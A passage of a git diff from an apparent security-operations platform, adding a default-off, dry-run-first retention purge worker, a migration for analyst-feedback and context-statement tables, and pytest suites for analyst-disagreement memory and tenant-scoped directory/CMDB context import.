+ report.complete,
+ [s.store for s in report.stores if not s.ok] or "none",
+ )
+ return report
diff --git a/services/api/app/workers/retention_purge.py b/services/api/app/workers/retention_purge.py
new file mode 100644
index 000000000..dc6f5aebd
--- /dev/null
+++ b/services/api/app/workers/retention_purge.py
@@ -0,0 +1,275 @@
+"""Retention purge worker — the thing that makes a retention policy do something.
+
+``app.services.retention`` has built correct, bounded, tenant-scoped purge SQL
+since Wave 5, and its docstring says "the scheduler/worker that runs the purge
+composes these". No such worker existed. ``build_lake_purge_sql`` and
+``build_alert_purge_sql`` had exactly one caller each — the test asserting they
+were well-formed. A tenant could configure retention in the UI, see it persist,
+watch the claim-to-gate matrix call it GATED, and never lose a row.
+
+Design notes that matter more than the code:
+
+**Default off.** Turning a release upgrade into unannounced data deletion is
+not acceptable, so ``RETENTION_WORKER_ENABLED`` defaults to false and the
+worker logs loudly what it would do. Operators opt in.
+
+**Dry-run first.** ``RETENTION_WORKER_DRY_RUN`` (default true when the worker
+is first enabled) counts rows instead of deleting them, so an operator can see
+the blast radius before arming it. The counts are logged and returned, so the
+same code path proves the predicate is right.
+
+**Only explicit policies.** The worker purges for tenants that have a
+``retention_policies`` row. It deliberately does *not* apply
+``DEFAULT_RETENTION`` to tenants that never configured anything: those defaults
+exist to pre-fill a form, and treating them as an instruction would delete data
+nobody asked to delete.
+
+**Audit is excluded.** ``audit_days`` is storable but not purged here. The
+audit log is an append-only hash chain (migration 043) whose entire value is
+that no row was deleted, reordered, or rewritten; a retention purge would break
+the chain and make every subsequent verification fail. Enforcing an audit
+retention window needs chain-aware truncation with a re-anchored checkpoint,
+which is a different piece of work. Saying so in one place beats a purge that
+silently errors every tick.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import logging
+import uuid
+from dataclasses import dataclass, field
+from datetime import UTC, datetime
+
+from sqlalchemy import text
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from app.core.config import settings
+from app.db.clickhouse import execute_lake_query
+from app.db.database import AsyncSessionLocal
+from app.services.retention import _clamp, build_lake_purge_sql, resolve_policy
+
+logger = logging.getLogger("aisoc.retention_purge")
+
+# ClickHouse mutations are asynchronous by default: ALTER TABLE … DELETE
+# returns as soon as the mutation is queued. Waiting makes the worker's own
+# logs truthful about what has actually been removed.
+_MUTATIONS_SYNC = {"mutations_sync": 1}
+
+
+@dataclass
+class TenantPurgeResult:
+ tenant_id: uuid.UUID
+ raw_events_days: int
+ alerts_days: int
+ lake_rows: int = 0
+ alert_rows: int = 0
+ errors: list[str] = field(default_factory=list)
+
+
+@dataclass
+class PurgeRun:
+ dry_run: bool
+ started_at: datetime
+ tenants: list[TenantPurgeResult] = field(default_factory=list)
+
+ @property
+ def lake_rows(self) -> int:
+ return sum(t.lake_rows for t in self.tenants)
+
+ @property
+ def alert_rows(self) -> int:
+ return sum(t.alert_rows for t in self.tenants)
+
+ @property
+ def errors(self) -> list[str]:
+ return [e for t in self.tenants for e in t.errors]
+
+
+def build_lake_count_sql(tenant_id: uuid.UUID, days: int) -> str:
+ """Dry-run counterpart to ``build_lake_purge_sql``.
+
+ Deliberately mirrors that function's predicate character for character. If
+ the two drift, the dry run stops describing the delete, which is the only
+ way an operator has to preview it.
+ """
+ days = _clamp(days)
+ return (
+ "SELECT count() FROM aisoc.raw_events "
+ f"WHERE tenant_id = '{uuid.UUID(str(tenant_id))}' "
+ f"AND event_time < now() - INTERVAL {days} DAY"
+ )
+
+
+def build_alert_count_sql(days: int) -> tuple[str, dict[str, int]]:
+ """Dry-run counterpart to ``build_alert_purge_sql``."""
+ days = _clamp(days)
+ return (
+ "SELECT count(*) FROM alerts WHERE created_at < now() - make_interval(days => :days)",
+ {"days": days},
+ )
+
+
+async def _load_policies(db: AsyncSession) -> list[tuple[uuid.UUID, dict[str, int]]]:
+ """Tenants with an explicit retention policy row.
+
+ Read with row security off: the worker is cross-tenant by nature, and the
+ per-tenant predicate is applied explicitly in each statement below rather
+ than being inherited from a session GUC. Relying on RLS here would mean the
+ purge silently no-ops when the GUC is unset, which is precisely the failure
+ class this worker exists to remove.
+ """
+ await db.execute(text("SET LOCAL row_security = off"))
+ rows = await db.execute(
+ text("SELECT tenant_id, raw_events_days, alerts_days, audit_days " "FROM retention_policies ORDER BY tenant_id")
+ )
+ out: list[tuple[uuid.UUID, dict[str, int]]] = []
+ for row in rows.mappings():
+ out.append(
+ (
+ row["tenant_id"],
+ {
+ "raw_events_days": row["raw_events_days"],
+ "alerts_days": row["alerts_days"],
+ "audit_days": row["audit_days"],
+ },
+ )
+ )
+ return out
+
+
+async def _purge_lake(tenant_id: uuid.UUID, days: int, *, dry_run: bool) -> int:
+ """Delete (or count) lake events past the window. Returns the row count.
+
+ ClickHouse ``ALTER TABLE … DELETE`` does not report affected rows, so even
+ on the live path we count first. That costs one scan and buys an accurate
+ number in the audit trail — worth it for an operation whose whole risk is
+ deleting more than intended.
+ """
+ count_result = await execute_lake_query(build_lake_count_sql(tenant_id, days))
+ doomed = int(count_result.rows[0][0]) if count_result.rows else 0
+ if doomed == 0 or dry_run:
+ return doomed
+
+ await execute_lake_query(
+ build_lake_purge_sql(tenant_id, days),
+ extra_settings=_MUTATIONS_SYNC,
+ )
+ return doomed
+
+
+async def _purge_alerts(db: AsyncSession, tenant_id: uuid.UUID, days: int, *, dry_run: bool) -> int:
+ """Delete (or count) alerts past the window for one tenant.
+
+ ``build_alert_purge_sql`` relies on RLS for the tenant scope, which is
+ correct inside a request but wrong here: this session has row security
+ disabled so it can enumerate every tenant. The tenant predicate is
+ therefore bound explicitly, as a parameter. Without this the statement
+ would delete every tenant's aged alerts under the first tenant's window.
+ """
+ count_sql, params = build_alert_count_sql(days)
+ count_sql += " AND tenant_id = :tenant_id"
+ params_with_tenant: dict[str, object] = {**params, "tenant_id": str(tenant_id)}
+
+ doomed = int((await db.execute(text(count_sql), params_with_tenant)).scalar_one())
+ if doomed == 0 or dry_run:
+ return doomed
+
+ await db.execute(
+ text("DELETE FROM alerts WHERE tenant_id = :tenant_id " "AND created_at < now() - make_interval(days => :days)"),
+ params_with_tenant,
+ )
+ return doomed
+
+
+async def run_once(
+ *,
+ db: AsyncSession | None = None,
+ dry_run: bool | None = None,
+) -> PurgeRun:
+ """One purge sweep across every tenant with an explicit retention policy."""
+ if dry_run is None:
+ dry_run = bool(getattr(settings, "RETENTION_WORKER_DRY_RUN", True))
+
+ own_session = db is None
+ if db is None:
+ db = AsyncSessionLocal()
+ run = PurgeRun(dry_run=dry_run, started_at=datetime.now(UTC))
+
+ try:
+ for tenant_id, config in await _load_policies(db):
+ policy = resolve_policy(config)
+ result = TenantPurgeResult(
+ tenant_id=tenant_id,
+ raw_events_days=policy.raw_events_days,
+ alerts_days=policy.alerts_days,
+ )
+
+ try:
+ result.lake_rows = await _purge_lake(tenant_id, policy.raw_events_days, dry_run=dry_run)
+ except Exception as exc:
+ # One unreachable store must not stop the other purges, and
+ # must not look like "nothing needed deleting".
+ result.errors.append(f"lake: {type(exc).__name__}")
+ logger.warning(
+ "retention_purge.lake_failed tenant=%s err=%s",
+ tenant_id,
+ type(exc).__name__,
+ )
+
+ try:
+ result.alert_rows = await _purge_alerts(db, tenant_id, policy.alerts_days, dry_run=dry_run)
+ except Exception as exc:
+ result.errors.append(f"alerts: {type(exc).__name__}")
+ logger.warning(
+ "retention_purge.alerts_failed tenant=%s err=%s",
+ tenant_id,
+ type(exc).__name__,
+ )
+
+ run.tenants.append(result)
+
+ if not dry_run:
+ await db.commit()
+ finally:
+ if own_session:
+ await db.close()
+
+ if run.tenants:
+ logger.info(
+ "retention_purge %s tenants=%d lake_rows=%d alert_rows=%d errors=%d",
+ "preview (dry run, nothing deleted)" if dry_run else "applied",
+ len(run.tenants),
+ run.lake_rows,
+ run.alert_rows,
+ len(run.errors),
+ )
+ return run
+
+
+async def run_forever() -> None:
+ """Tick until cancelled. Owned by the API ``lifespan``, like the other workers."""
+ interval = max(int(getattr(settings, "RETENTION_WORKER_INTERVAL_SECONDS", 21600)), 300)
+ dry_run = bool(getattr(settings, "RETENTION_WORKER_DRY_RUN", True))
+ logger.info(
+ "retention_purge started interval=%ds mode=%s",
+ interval,
+ "dry-run" if dry_run else "delete",
+ )
+ if dry_run:
+ logger.warning(
+ "retention_purge is in dry-run: policies are evaluated and the row counts "
+ "logged, but nothing is deleted. Set RETENTION_WORKER_DRY_RUN=false to arm it."
+ )
+ try:
+ while True:
+ try:
+ await run_once()
+ except asyncio.CancelledError:
+ raise
+ except Exception as exc: # pragma: no cover - defensive
+ logger.warning("retention_purge tick failed err=%s", type(exc).__name__)
+ await asyncio.sleep(interval)
+ except asyncio.CancelledError:
+ logger.info("retention_purge stopped")
+ raise
diff --git a/services/api/migrations/052_analyst_feedback.sql b/services/api/migrations/052_analyst_feedback.sql
new file mode 100644
index 000000000..cf0493c87
--- /dev/null
+++ b/services/api/migrations/052_analyst_feedback.sql
@@ -0,0 +1,55 @@
+-- Analyst disagreement as structured data, and the organisation memory
+-- compiled from it.
+--
+-- Overturning a verdict previously recorded the new disposition and
+-- discarded the only part that generalises: why. Free text did not
+-- generalise either, because nobody queried it, so the next identical alert
+-- was triaged with no knowledge that this one had been overturned.
+
+CREATE TABLE IF NOT EXISTS aisoc_analyst_feedback (
+ id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
+ tenant_id UUID NOT NULL,
+ alert_id UUID,
+ ai_disposition TEXT NOT NULL,
+ analyst_disposition TEXT NOT NULL,
+ -- Closed vocabulary; see app/services/analyst_feedback.py::REASON_CODES.
+ -- Not a FK to a lookup table: the codes carry behaviour (scope, TTL,
+ -- corroboration threshold) that belongs in code, not in a row.
+ reason_code TEXT NOT NULL,
+ scope TEXT NOT NULL,
+ scope_value TEXT NOT NULL DEFAULT '',
+ -- Distinct analysts are what corroborate a reason. One person clicking
+ -- the same button ten times is still one opinion, so this is counted
+ -- with DISTINCT rather than by row.
+ analyst_id TEXT NOT NULL,
+ note TEXT NOT NULL DEFAULT '',
+ context JSONB NOT NULL DEFAULT '{}'::jsonb,
+ created_at TIMESTAMPTZ NOT NULL DEFAULT now()
+);
+
+CREATE INDEX IF NOT EXISTS idx_analyst_feedback_lookup
+ ON aisoc_analyst_feedback (tenant_id, reason_code, scope, scope_value);
+CREATE INDEX IF NOT EXISTS idx_analyst_feedback_recent
+ ON aisoc_analyst_feedback (tenant_id, created_at DESC);
+
+CREATE TABLE IF NOT EXISTS aisoc_context_statements (
+ id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
+ tenant_id UUID NOT NULL,
+ -- Human-readable on purpose. A suppression nobody can explain is one
+ -- nobody dares remove, and it accumulates.
+ statement TEXT NOT NULL,
+ reason_code TEXT NOT NULL,
+ scope TEXT NOT NULL,
+ scope_value TEXT NOT NULL DEFAULT '',
+ observations INTEGER NOT NULL DEFAULT 1,
+ -- NULL means permanent. An approved-pentest statement that outlives the
+ -- pentest is an attacker's best friend, so those carry a short TTL and
+ -- expiry is applied at read time rather than by a cleanup job.
+ expires_at TIMESTAMPTZ,
+ created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
+ updated_at TIMESTAMPTZ NOT NULL DEFAULT now(),
+ CONSTRAINT uq_context_statement UNIQUE (tenant_id, reason_code, scope, scope_value)
+);
+
+CREATE INDEX IF NOT EXISTS idx_context_statements_active
+ ON aisoc_context_statements (tenant_id, expires_at);
diff --git a/services/api/tests/test_analyst_feedback.py b/services/api/tests/test_analyst_feedback.py
new file mode 100644
index 000000000..b40a32097
--- /dev/null
+++ b/services/api/tests/test_analyst_feedback.py
@@ -0,0 +1,296 @@
+"""Analyst disagreement must generalise, and must not outlive its scope.
+
+Overturning a verdict recorded the new disposition and discarded the only
+part that generalises — why — so the next identical alert was triaged with
+no knowledge that this one had been overturned. Free text did not help:
+nobody queried it.
+
+The tests that matter are about restraint rather than capture. One analyst
+is an opinion, not a pattern. A pentest exclusion that outlives the pentest
+is an attacker's best friend. And a broken rule is not fixed by remembering
+that it is broken.
+"""
+
+from __future__ import annotations
+
+import uuid
+from datetime import UTC, datetime
+from typing import Any
+
+import pytest
+from app.services.analyst_feedback import (
+ REASON_CODES,
+ ContextStatement,
+ compose_statement,
+ record_disagreement,
+)
+
+TENANT = uuid.UUID("77777777-7777-7777-7777-777777777777")
+ALERT = uuid.UUID("88888888-8888-8888-8888-888888888888")
+
+
+class FakeScalar:
+ def __init__(self, value: Any) -> None:
+ self._value = value
+
+ def scalar_one(self) -> Any:
+ return self._value
+
+ def mappings(self) -> list[dict[str, Any]]:
+ return self._value if isinstance(self._value, list) else []
+
+
+class FakeSession:
+ """Answers the corroboration count with a fixed number of distinct analysts."""
+
+ def __init__(self, distinct_analysts: int = 1) -> None:
+ self.distinct = distinct_analysts
+ self.statements: list[tuple[str, dict[str, Any]]] = []
+
+ async def execute(self, stmt: Any, params: dict[str, Any] | None = None) -> Any:
+ sql = " ".join(str(stmt).split())
+ self.statements.append((sql, dict(params or {})))
+ if "count(DISTINCT analyst_id)" in sql:
+ return FakeScalar(self.distinct)
+ return FakeScalar(None)
+
+ def inserted_into(self, table: str) -> list[dict[str, Any]]:
+ return [p for s, p in self.statements if f"INTO {table}" in s]
+
+
+CONTEXT = {
+ "process_name": "powershell.exe",
+ "user_name": "svc_backup",
+ "hostname": "BACKUP01",
+ "time_window": "02:00 backup",
+ "rule_id": "RULE-1",
+ "rule_name": "Suspicious PowerShell",
+}
+
+
+class TestCorroboration:
+ async def test_one_analyst_is_not_yet_a_pattern(self) -> None:
+ """One person calling one alert benign is an opinion."""
+ session = FakeSession(distinct_analysts=1)
+ statement = await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code="known_admin_tool", # needs 2
+ analyst_id="analyst-a",
+ context=CONTEXT,
+ )
+ assert statement is None
+ assert session.inserted_into("aisoc_analyst_feedback")
+ assert not session.inserted_into("aisoc_context_statements")
+
+ async def test_the_second_analyst_makes_it_memory(self) -> None:
+ session = FakeSession(distinct_analysts=2)
+ statement = await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code="known_admin_tool",
+ analyst_id="analyst-b",
+ context=CONTEXT,
+ )
+ assert statement is not None
+ assert session.inserted_into("aisoc_context_statements")
+
+ async def test_corroboration_counts_analysts_not_rows(self) -> None:
+ """One person clicking the same button ten times is one opinion."""
+ session = FakeSession(distinct_analysts=1)
+ await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code="known_admin_tool",
+ analyst_id="analyst-a",
+ context=CONTEXT,
+ )
+ count_sql = next(s for s, _ in session.statements if "count(" in s)
+ assert "count(DISTINCT analyst_id)" in count_sql
+
+ async def test_a_single_high_trust_reason_needs_no_corroboration(self) -> None:
+ """An approved pentest is announced, not discovered."""
+ session = FakeSession(distinct_analysts=1)
+ statement = await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code="approved_pentest",
+ analyst_id="analyst-a",
+ context=CONTEXT,
+ )
+ assert statement is not None
+
+
+class TestExpiry:
+ async def test_a_pentest_statement_expires(self) -> None:
+ """One that outlives the pentest is an attacker's best friend, and
+ nobody remembers to remove it."""
+ session = FakeSession(distinct_analysts=1)
+ statement = await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code="approved_pentest",
+ analyst_id="analyst-a",
+ context=CONTEXT,
+ )
+ assert statement and statement.expires_at is not None
+ days = (statement.expires_at - datetime.now(UTC)).days
+ assert 0 < days <= 14
+
+ async def test_a_permanent_reason_does_not_expire(self) -> None:
+ session = FakeSession(distinct_analysts=2)
+ statement = await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code="known_admin_tool",
+ analyst_id="analyst-b",
+ context=CONTEXT,
+ )
+ assert statement and statement.expires_at is None
+
+ def test_every_temporary_code_has_a_bounded_ttl(self) -> None:
+ for code in REASON_CODES.values():
+ if code.ttl_days is not None:
+ assert 0 < code.ttl_days <= 365, code.code
+
+
+class TestRoutingRatherThanSuppressing:
+ @pytest.mark.parametrize("code", ["bad_detection_logic", "missing_context"])
+ async def test_rule_defects_route_to_detection_engineering(self, code: str) -> None:
+ """Suppressing a broken rule's output hides the defect and keeps
+ paying its cost on every future alert."""
+ session = FakeSession(distinct_analysts=2)
+ statement = await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code=code,
+ analyst_id="analyst-a",
+ context=CONTEXT,
+ )
+ assert statement and statement.routes_to_detection_engineering
+
+ @pytest.mark.parametrize("code", ["known_admin_tool", "approved_pentest", "expected_service_account"])
+ def test_environment_reasons_do_not_route(self, code: str) -> None:
+ assert not REASON_CODES[code].routes_to_detection_engineering
+
+
+class TestStatements:
+ def test_the_worked_example_from_the_plan(self) -> None:
+ """Specific by construction: 'PowerShell is expected' is a
+ suppression waiting to hide an incident."""
+ text = compose_statement(REASON_CODES["expected_service_account"], CONTEXT)
+ assert "powershell.exe" in text
+ assert "svc_backup" in text
+ assert "BACKUP01" in text
+ assert "02:00 backup" in text
+
+ def test_a_statement_never_degrades_to_bare_process_name(self) -> None:
+ text = compose_statement(REASON_CODES["known_admin_tool"], CONTEXT)
+ assert text != "powershell.exe is sanctioned administrative tooling."
+ assert "svc_backup" in text or "BACKUP01" in text
+
+ def test_a_rule_scoped_statement_names_the_rule(self) -> None:
+ text = compose_statement(REASON_CODES["bad_detection_logic"], CONTEXT)
+ assert "Suspicious PowerShell" in text
+ assert "rather than its output suppressing" in text
+
+ def test_sparse_context_still_produces_a_sentence(self) -> None:
+ text = compose_statement(REASON_CODES["known_scanner"], {"hostname": "scanner-1"})
+ assert "scanner-1" in text and text.endswith(".")
+
+ @pytest.mark.parametrize("code", list(REASON_CODES))
+ def test_every_code_composes_something_readable(self, code: str) -> None:
+ text = compose_statement(REASON_CODES[code], CONTEXT)
+ assert len(text) > 20 and text.endswith(".")
+
+
+class TestTaxonomy:
+ async def test_the_vocabulary_is_closed(self) -> None:
+ """Free text is why this data was useless before."""
+ session = FakeSession()
+ with pytest.raises(ValueError, match="unknown reason code"):
+ await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code="it_seemed_fine",
+ analyst_id="a",
+ )
+
+ def test_every_code_declares_a_scope_the_composer_handles(self) -> None:
+ for code in REASON_CODES.values():
+ assert code.scope in ("rule", "entity", "binary", "tenant"), code.code
+
+ async def test_scope_determines_what_a_statement_is_about(self) -> None:
+ """A binary-scoped reason must not silently become tenant-wide."""
+ session = FakeSession(distinct_analysts=2)
+ await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code="known_admin_tool",
+ analyst_id="analyst-b",
+ context=CONTEXT,
+ )
+ inserted = session.inserted_into("aisoc_context_statements")[0]
+ assert inserted["scope"] == "binary"
+ assert inserted["scope_value"] == "powershell.exe"
+
+
+async def test_free_text_notes_are_kept_but_bounded() -> None:
+ """Retained for a human reading the trail, never parsed."""
+ session = FakeSession(distinct_analysts=1)
+ await record_disagreement(
+ session,
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ ai_disposition="malicious",
+ analyst_disposition="benign",
+ reason_code="approved_pentest",
+ analyst_id="a",
+ context=CONTEXT,
+ note="x" * 9000,
+ )
+ inserted = session.inserted_into("aisoc_analyst_feedback")[0]
+ assert len(inserted["note"]) == 2000
+
+
+def test_statement_serialises_for_the_api() -> None:
+ statement = ContextStatement(
+ tenant_id=str(TENANT),
+ statement="s",
+ reason_code="known_admin_tool",
+ scope="binary",
+ scope_value="powershell.exe",
+ observations=3,
+ expires_at=None,
+ routes_to_detection_engineering=False,
+ )
+ payload = statement.as_dict()
+ assert payload["expires_at"] is None
+ assert payload["observations"] == 3
diff --git a/services/api/tests/test_context_import.py b/services/api/tests/test_context_import.py
new file mode 100644
index 000000000..95d18908b
--- /dev/null
+++ b/services/api/tests/test_context_import.py
@@ -0,0 +1,281 @@
+"""Importing context must be safe to re-run and honest about what it dropped.
+
+The v1.1 identity and business labels cannot come from events: an event can
+say an account authenticated, not who holds it or what the host serves. So
+they come from a directory, HR and CMDB import, which runs on a schedule
+against sources that are frequently partial.
+
+Three properties matter more than the happy path.
+
+Re-running must not destroy anything. An import that replaced the tenant's
+context with whatever one run produced would delete a department because an
+export timed out.
+
+A departed employee is recorded, not deleted — an account still
+authenticating after someone's last day is the highest-signal finding this
+data enables, and deleting the row destroys exactly that.
+
+Rejections are named. A partially-applied import reporting success is worse
+than a rejected one, because afterwards the gaps are invisible.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+import pytest
+from app.services.context_import import CRITICALITY, ImportReport, import_context
+
+TENANT = "66666666-6666-6666-6666-666666666666"
+
+
+class FakeRecord(dict):
+ pass
+
+
+class FakeResult:
+ def __init__(self, row: dict[str, Any] | None) -> None:
+ self._row = row
+
+ async def single(self) -> dict[str, Any] | None:
+ return self._row
+
+
+class FakeSession:
+ """Records every statement and answers link queries with a fixed count."""
+
+ def __init__(self, *, links: int = 1) -> None:
+ self.statements: list[tuple[str, dict[str, Any]]] = []
+ self.links = links
+
+ async def run(self, cypher: str, **params: Any) -> FakeResult:
+ flat = " ".join(cypher.split())
+ self.statements.append((flat, params))
+ if "RETURN count(" in flat:
+ return FakeResult(FakeRecord(linked=self.links))
+ return FakeResult(None)
+
+ def merges(self, label: str) -> list[tuple[str, dict[str, Any]]]:
+ return [(s, p) for s, p in self.statements if f"MERGE ({label[0].lower()}:{label}" in s or f":{label} {{" in s]
+
+ def matching(self, token: str) -> list[tuple[str, dict[str, Any]]]:
+ return [(s, p) for s, p in self.statements if token in s]
+
+
+class TestUpsertSemantics:
+ async def test_nothing_is_ever_deleted(self) -> None:
+ """An import against a partial export must not destroy context."""
+ session = FakeSession()
+ await import_context(
+ TENANT,
+ {"departments": [{"id": "d1", "name": "Platform"}]},
+ session=session,
+ )
+ assert not any("DELETE" in s.upper() or "DETACH" in s.upper() for s, _ in session.statements)
+
+ async def test_records_are_merged_not_created(self) -> None:
+ session = FakeSession()
+ await import_context(TENANT, {"departments": [{"id": "d1", "name": "Platform"}]}, session=session)
+ assert any(s.startswith("MERGE (d:Department") for s, _ in session.statements)
+
+ async def test_absent_fields_do_not_blank_existing_values(self) -> None:
+ """A partial export must not null out what a fuller one wrote.
+
+ coalesce keeps the stored value when the payload omits the field.
+ """
+ session = FakeSession()
+ await import_context(TENANT, {"employees": [{"id": "e1"}]}, session=session)
+ statement, _ = next(s for s in session.statements if "MERGE (e:Employee" in s[0])
+ assert "coalesce($title, e.title)" in statement
+ assert "coalesce($email, e.email)" in statement
+
+
+class TestDepartedEmployees:
+ async def test_an_end_date_marks_the_employee_inactive(self) -> None:
+ session = FakeSession()
+ await import_context(
+ TENANT,
+ {"employees": [{"id": "e1", "display_name": "Jo", "end_date": "2026-09-19"}]},
+ session=session,
+ )
+ _, params = next(s for s in session.statements if "MERGE (e:Employee" in s[0])
+ assert params["end_date"] == "2026-09-19"
+ assert params["is_active"] is False
+
+ async def test_is_active_is_derived_not_trusted(self) -> None:
+ """An export claiming a departed employee is active would erase the
+ one finding this data exists to enable."""
+ session = FakeSession()
+ await import_context(
+ TENANT,
+ {"employees": [{"id": "e1", "end_date": "2026-09-19", "is_active": True}]},
+ session=session,
+ )
+ _, params = next(s for s in session.statements if "MERGE (e:Employee" in s[0])
+ assert params["is_active"] is False
+
+ async def test_no_end_date_means_active(self) -> None:
+ session = FakeSession()
+ await import_context(TENANT, {"employees": [{"id": "e1"}]}, session=session)
+ _, params = next(s for s in session.statements if "MERGE (e:Employee" in s[0])
+ assert params["is_active"] is True
+
+
+class TestTenantScoping:
+ async def test_ids_are_namespaced_by_tenant(self) -> None:
+ """Two tenants with an employee id of 'e1' must not collide."""
+ session = FakeSession()
+ await import_context(TENANT, {"employees": [{"id": "e1"}]}, session=session)
+ _, params = next(s for s in session.statements if "MERGE (e:Employee" in s[0])
+ assert params["id"] == f"{TENANT}:e1"
+
+ async def test_every_link_query_filters_by_tenant(self) -> None:
+ session = FakeSession()
+ await import_context(
+ TENANT,
+ {
+ "departments": [{"id": "d1", "name": "Platform"}],
+ "employees": [{"id": "e1", "department_id": "d1", "manager_id": "e0", "accounts": ["[email protected]"]}],
+ "applications": [{"id": "a1", "name": "Payments", "owner_employee_id": "e1", "hosts": ["web-1"]}],
+ },
+ session=session,
+ )
+ for statement, params in session.statements:
+ if statement.startswith("MATCH"):
+ assert "tenant_id = $tenant_id" in statement, statement
+ assert params.get("tenant_id") == TENANT
+
+
+class TestValidation:
+ async def test_a_malformed_id_is_rejected_by_name(self) -> None:
+ session = FakeSession()
+ report = await import_context(TENANT, {"employees": [{"id": "has spaces and <html>"}]}, session=session)
+ assert report.employees == 0
+ assert report.rejected and "malformed id" in report.rejected[0]["reason"]
+
+ async def test_an_unrecognised_criticality_is_rejected_not_coerced(self) -> None:
+ """The autonomy policy reads this field, so a wrong value is a wrong
+ decision rather than a cosmetic one."""
+ session = FakeSession()
+ report = await import_context(
+ TENANT,
+ {"applications": [{"id": "a1", "name": "Payments", "criticality": "very important"}]},
+ session=session,
+ )
+ assert report.applications == 0
+ assert "not one of" in report.rejected[0]["reason"]
+
+ @pytest.mark.parametrize("value", CRITICALITY)
+ async def test_valid_criticalities_are_accepted(self, value: str) -> None:
+ session = FakeSession()
+ report = await import_context(
+ TENANT,
+ {"applications": [{"id": "a1", "name": "P", "criticality": value}]},
+ session=session,
+ )
+ assert report.applications == 1, report.rejected
+
+ async def test_free_text_is_length_capped(self) -> None:
+ """A CMDB description field is a common place to find a whole runbook,
+ and these render in a UI and reach a prompt."""
+ session = FakeSession()
+ await import_context(TENANT, {"employees": [{"id": "e1", "title": "X" * 5000}]}, session=session)
+ _, params = next(s for s in session.statements if "MERGE (e:Employee" in s[0])
+ assert len(params["title"]) <= 500
+
+ async def test_non_object_records_do_not_abort_the_import(self) -> None:
+ session = FakeSession()
+ report = await import_context(
+ TENANT,
+ {"employees": ["not an object", {"id": "e1"}, None]},
+ session=session,
+ )
+ assert report.employees == 1
+ assert len(report.rejected) == 2
+
+
+class TestUnmatchedReferences:
+ async def test_an_account_the_graph_has_never_seen_is_reported(self) -> None:
+ """A typo and a system nothing ingests look identical otherwise."""
+ session = FakeSession(links=0)
+ report = await import_context(
+ TENANT,
+ {"employees": [{"id": "e1", "accounts": ["[email protected]"]}]},
+ session=session,
+ )
+ assert report.employees == 1
+ assert any("no Identity node matches" in r["reason"] for r in report.rejected)
+
+ async def test_a_cmdb_host_with_no_events_is_reported(self) -> None:
+ """A CMDB naming a host the platform has never ingested is a coverage
+ gap, and must not become a node that looks monitored."""
+ session = FakeSession(links=0)
+ report = await import_context(
+ TENANT,
+ {"applications": [{"id": "a1", "name": "Payments", "hosts": ["nowhere-1"]}]},
+ session=session,
+ )
+ assert report.applications == 1
+ assert any("has not been seen in any ingested event" in r["reason"] for r in report.rejected)
+
+ async def test_resources_and_identities_are_matched_never_created(self) -> None:
+ session = FakeSession(links=0)
+ await import_context(
+ TENANT,
+ {
+ "employees": [{"id": "e1", "accounts": ["[email protected]"]}],
+ "applications": [{"id": "a1", "name": "P", "hosts": ["h1"]}],
+ },
+ session=session,
+ )
+ for statement, _ in session.statements:
+ assert "MERGE (i:Identity" not in statement
+ assert "MERGE (r:Resource" not in statement
+
+
+class TestOrdering:
+ async def test_departments_are_written_before_employees(self) -> None:
+ """Otherwise BELONGS_TO merges a bare Department whose name nobody set."""
+ session = FakeSession()
+ await import_context(
+ TENANT,
+ {
+ "employees": [{"id": "e1", "department_id": "d1"}],
+ "departments": [{"id": "d1", "name": "Platform"}],
+ },
+ session=session,
+ )
+ order = [s for s, _ in session.statements]
+ dept = next(i for i, s in enumerate(order) if "MERGE (d:Department" in s)
+ emp = next(i for i, s in enumerate(order) if "MERGE (e:Employee" in s)
+ assert dept < emp
+
+
+class TestReport:
+ def test_rejections_are_bounded_in_the_response(self) -> None:
+ """A malformed export can reject every row; a 50k error list is not
+ a usable response."""
+ report = ImportReport()
+ for i in range(500):
+ report.reject("employee", f"e{i}", "malformed")
+ payload = report.as_dict()
+ assert payload["rejected_count"] == 500
+ assert len(payload["rejected"]) == 100
+ assert payload["rejected_truncated"] is True
+
+ async def test_counts_reflect_what_was_written(self) -> None:
+ session = FakeSession()
+ report = await import_context(
+ TENANT,
+ {
+ "departments": [{"id": "d1", "name": "Platform"}, {"id": "d2", "name": "Finance"}],
+ "employees": [{"id": "e1"}, {"id": "e2"}, {"id": "bad id!"}],
+ "applications": [{"id": "a1", "name": "Payments"}],
+ "cloud_accounts": [{"account_id": "123456789012", "provider": "aws"}],
+ },
+ session=session,
+ )
+ assert (report.departments, report.employees) == (2, 2)
+ assert (report.applications, report.cloud_accounts) == (1, 1)
+ assert report.total == 6
+ assert len(report.rejected) == 1
diff --git a/services/api/tests/test_credential_vault_envelope.py b/services/api/tests/test_credential_vault_envelope.py
new file mode 100644
index 000000000..c6c4c2cf4
--- /dev/null
+++ b/services/api/tests/test_credential_vault_envelope.py
@@ -0,0 +1,184 @@
+"""Envelope encryption must be reachable from the vault, and safe to enable.
+
